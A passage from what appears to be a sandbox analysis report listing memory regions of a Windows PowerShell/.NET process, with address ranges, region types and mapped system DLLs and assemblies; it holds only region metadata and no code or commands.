"private_0x0000000001d00000" filename = "" Region: id = 5753 start_va = 0x1a7c0000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 5754 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 5755 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 5756 start_va = 0x7fef76e0000 end_va = 0x7fef76f5fff monitored = 1 entry_point = 0x7fef76ee5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 5757 start_va = 0x1a840000 end_va = 0x1ab11fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 5758 start_va = 0x2030000 end_va = 0x20effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5759 start_va = 0x7fefddf0000 end_va = 0x7fefeb77fff monitored = 0 entry_point = 0x7fefde6cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5760 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5761 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 5762 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5763 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5764 start_va = 0x1d40000 end_va = 0x1d47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 5765 start_va = 0x1a740000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 5766 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 5767 start_va = 0x7fef7840000 end_va = 0x7fef784afff monitored = 0 entry_point = 0x7fef7841070 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 5768 start_va = 0x1ab20000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ab20000" filename = "" Region: id = 5769 start_va = 0x1d50000 end_va = 0x1d57fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 5770 start_va = 0x1ab20000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ab20000" filename = "" Region: id = 5771 start_va = 0x1ace0000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 5772 start_va = 0x7fef4300000 end_va = 0x7fef431cfff monitored = 0 entry_point = 0x7fef4301070 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 5773 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 5774 start_va = 0x7fef1030000 end_va = 0x7fef10cffff monitored = 0 entry_point = 0x7fef10aeb20 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 5775 start_va = 0x7fefdab0000 end_va = 0x7fefdb46fff monitored = 0 entry_point = 0x7fefdab13e8 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 5776 start_va = 0x1ad60000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5777 start_va = 0x1ab20000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab20000" filename = "" Region: id = 5778 start_va = 0x7fef77d0000 end_va = 0x7fef77dbfff monitored = 0 entry_point = 0x7fef77d4c70 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 5779 start_va = 0x7fe8eed0000 end_va = 0x7fe8eedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8eed0000" filename = "" Region: id = 5782 start_va = 0x1a5f0000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 5783 start_va = 0x1a670000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 5784 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 5785 start_va = 0x1ad60000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 5786 start_va = 0x1af40000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 5787 start_va = 0x1d40000 end_va = 0x1d40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5788 start_va = 0x1d50000 end_va = 0x1d56fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5789 start_va = 0x1d40000 end_va = 0x1d40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5790 start_va = 0x1d50000 end_va = 0x1d56fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5791 start_va = 0x1d40000 end_va = 0x1d40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5792 start_va = 0x1d40000 end_va = 0x1d46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5793 start_va = 0x1d40000 end_va = 0x1d40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5794 start_va = 0x1d40000 end_va = 0x1d46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5795 start_va = 0x1d40000 end_va = 0x1d40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5796 start_va = 0x1d40000 end_va = 0x1d46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5797 start_va = 0x1b050000 end_va = 0x1b0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b050000" filename = "" Region: id = 5798 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 5799 start_va = 0x1d40000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 5800 start_va = 0x7ffffef4000 end_va = 0x7ffffef5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef4000" filename = "" Region: id = 5801 start_va = 0x7fee95f0000 end_va = 0x7fee9f5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data\\7bed49c46de9295a8453db205c60a028\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.data\\7bed49c46de9295a8453db205c60a028\\system.data.ni.dll") Region: id = 5802 start_va = 0x7fee9280000 end_va = 0x7fee95e8fff monitored = 1 entry_point = 0x7fee93ca3de region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 5803 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5804 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5805 start_va = 0x1b0d0000 end_va = 0x1b430fff monitored = 1 entry_point = 0x1b21a3de region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 5806 start_va = 0x1b0d0000 end_va = 0x1b430fff monitored = 1 entry_point = 0x1b21a3de region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 5807 start_va = 0x1b0d0000 end_va = 0x1b430fff monitored = 1 entry_point = 0x1b21a3de region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 5808 start_va = 0x1b0d0000 end_va = 0x1b430fff monitored = 1 entry_point = 0x1b21a3de region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 5809 start_va = 0x7fe8eee0000 end_va = 0x7fe8eeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8eee0000" filename = "" Region: id = 5810 start_va = 0x7fee89d0000 end_va = 0x7fee927afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\5ee35debfc22f727e70e4479ddcbc045\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\5ee35debfc22f727e70e4479ddcbc045\\system.xml.ni.dll") Region: id = 5811 start_va = 0x7fef0cc0000 end_va = 0x7fef0e25fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\b221af81285c1305324612e6dc9c88ff\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\b221af81285c1305324612e6dc9c88ff\\system.management.ni.dll") Region: id = 5812 start_va = 0x7feefe50000 end_va = 0x7feeffb5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dired13b18a9#\\8ad4c0af5b3d51a0f3a4dac0d44d85d4\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dired13b18a9#\\8ad4c0af5b3d51a0f3a4dac0d44d85d4\\system.directoryservices.ni.dll") Region: id = 5813 start_va = 0x7fe8eef0000 end_va = 0x7fe8eefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8eef0000" filename = "" Region: id = 5814 start_va = 0x7fe8ef00000 end_va = 0x7fe8ef0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef00000" filename = "" Region: id = 5815 start_va = 0x7fef77a0000 end_va = 0x7fef77a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 5816 start_va = 0x7feefd00000 end_va = 0x7feefe4efff monitored = 1 entry_point = 0x7feefd01090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 5817 start_va = 0x1d00000 end_va = 0x1d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 5818 start_va = 0x1d10000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 5819 start_va = 0x7fe8ef10000 end_va = 0x7fe8ef1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef10000" filename = "" Region: id = 5821 start_va = 0x7fef0fc0000 end_va = 0x7fef1023fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P6f792626#\\e8f0dc429969d27aaed26e35377050a9\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.p6f792626#\\e8f0dc429969d27aaed26e35377050a9\\microsoft.powershell.security.ni.dll") Region: id = 5837 start_va = 0x1aee0000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 5838 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 5843 start_va = 0x7fef00c0000 end_va = 0x7fef019afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\604272b0faec2e09d53d38e03bc89c6c\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.transactions\\604272b0faec2e09d53d38e03bc89c6c\\system.transactions.ni.dll") Region: id = 5852 start_va = 0x7fef1960000 end_va = 0x7fef19aefff monitored = 1 entry_point = 0x7fef1980902 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 5857 start_va = 0x1f50000 end_va = 0x1f9cfff monitored = 1 entry_point = 0x1f70902 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 5858 start_va = 0x1fb0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 5859 start_va = 0x1f50000 end_va = 0x1f9cfff monitored = 1 entry_point = 0x1f70902 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 5860 start_va = 0x1f50000 end_va = 0x1f9cfff monitored = 1 entry_point = 0x1f70902 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 5861 start_va = 0x1f50000 end_va = 0x1f9cfff monitored = 1 entry_point = 0x1f70902 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 5863 start_va = 0x1afb0000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 5864 start_va = 0x7ffffef2000 end_va = 0x7ffffef3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef2000" filename = "" Region: id = 5866 start_va = 0x7fe8ef20000 end_va = 0x7fe8ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef20000" filename = "" Region: id = 5872 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5873 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5875 start_va = 0x1b0d0000 end_va = 0x1b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0d0000" filename = "" Region: id = 5887 start_va = 0x7feefbc0000 end_va = 0x7feefcf2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\4beb1eeca20b27d4bd1bb9880f03cc2a\\system.configuration.ni.dll") Region: id = 5896 start_va = 0x7fef0c20000 end_va = 0x7fef0cbffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Mf49f6405#\\cbac94f54441f8c7adbe6d607f8fe13b\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.mf49f6405#\\cbac94f54441f8c7adbe6d607f8fe13b\\microsoft.management.infrastructure.ni.dll") Region: id = 5897 start_va = 0x7fef0f60000 end_va = 0x7fef0fb0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Numerics\\86cfd69ce1261baf4740e7606cade014\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.numerics\\86cfd69ce1261baf4740e7606cade014\\system.numerics.ni.dll") Region: id = 5898 start_va = 0x7fe8ef30000 end_va = 0x7fe8ef3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef30000" filename = "" Region: id = 5899 start_va = 0x7fe8ef40000 end_va = 0x7fe8ef4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef40000" filename = "" Region: id = 5900 start_va = 0x7fe8ef50000 end_va = 0x7fe8ef5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef50000" filename = "" Region: id = 5901 start_va = 0x7fe8ef60000 end_va = 0x7fe8ef6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef60000" filename = "" Region: id = 5902 start_va = 0x7fe8ef70000 end_va = 0x7fe8ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef70000" filename = "" Region: id = 5909 start_va = 0x7fe8ef80000 end_va = 0x7fe8ef8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef80000" filename = "" Region: id = 5911 start_va = 0x7fe8ef90000 end_va = 0x7fe8ef9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8ef90000" filename = "" Region: id = 5914 start_va = 0x7fe8efa0000 end_va = 0x7fe8efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8efa0000" filename = "" Region: id = 5915 start_va = 0x7fe8efb0000 end_va = 0x7fe8efbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8efb0000" filename = "" Region: id = 5916 start_va = 0x7fe8efc0000 end_va = 0x7fe8efcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8efc0000" filename = "" Region: id = 5917 start_va = 0x7fe8efd0000 end_va = 0x7fe8efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8efd0000" filename = "" Region: id = 5918 start_va = 0x7fe8efe0000 end_va = 0x7fe8efeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8efe0000" filename = "" Region: id = 5919 start_va = 0x7fe8eff0000 end_va = 0x7fe8effffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8eff0000" filename = "" Region: id = 5920 start_va = 0x7fe8f000000 end_va = 0x7fe8f00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f000000" filename = "" Region: id = 5921 start_va = 0x7fe8f010000 end_va = 0x7fe8f01ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f010000" filename = "" Region: id = 5922 start_va = 0x7fe8f020000 end_va = 0x7fe8f02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f020000" filename = "" Region: id = 5924 start_va = 0x7fe8f030000 end_va = 0x7fe8f03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f030000" filename = "" Region: id = 5925 start_va = 0x7fe8f040000 end_va = 0x7fe8f04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f040000" filename = "" Region: id = 5961 start_va = 0x7fee87e0000 end_va = 0x7fee89ccfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.CSharp\\d011b632ffdc7e7df171eee4a06fcd05\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.csharp\\d011b632ffdc7e7df171eee4a06fcd05\\microsoft.csharp.ni.dll") Region: id = 5968 start_va = 0x7fe8f050000 end_va = 0x7fe8f05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f050000" filename = "" Region: id = 5969 start_va = 0x1d10000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 5970 start_va = 0x1d20000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 5971 start_va = 0x1d30000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 5972 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 5973 start_va = 0x1d10000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 5974 start_va = 0x1d20000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 5975 start_va = 0x1d30000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 5976 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 5977 start_va = 0x1f50000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 5978 start_va = 0x1b1f0000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1f0000" filename = "" Region: id = 5979 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 5980 start_va = 0x7fefb570000 end_va = 0x7fefb5c5fff monitored = 0 entry_point = 0x7fefb57bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5981 start_va = 0x1bb80000 end_va = 0x1bc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb80000" filename = "" Region: id = 5982 start_va = 0x1ae60000 end_va = 0x1af3efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ae60000" filename = "" Region: id = 5983 start_va = 0x1ac20000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 5984 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5985 start_va = 0x7ffffef0000 end_va = 0x7ffffef1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef0000" filename = "" Region: id = 5986 start_va = 0x1bcd0000 end_va = 0x1bd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bcd0000" filename = "" Region: id = 5987 start_va = 0x7ffffeee000 end_va = 0x7ffffeeffff monitored = 1 entry_point = 0x0 region_type = private name = 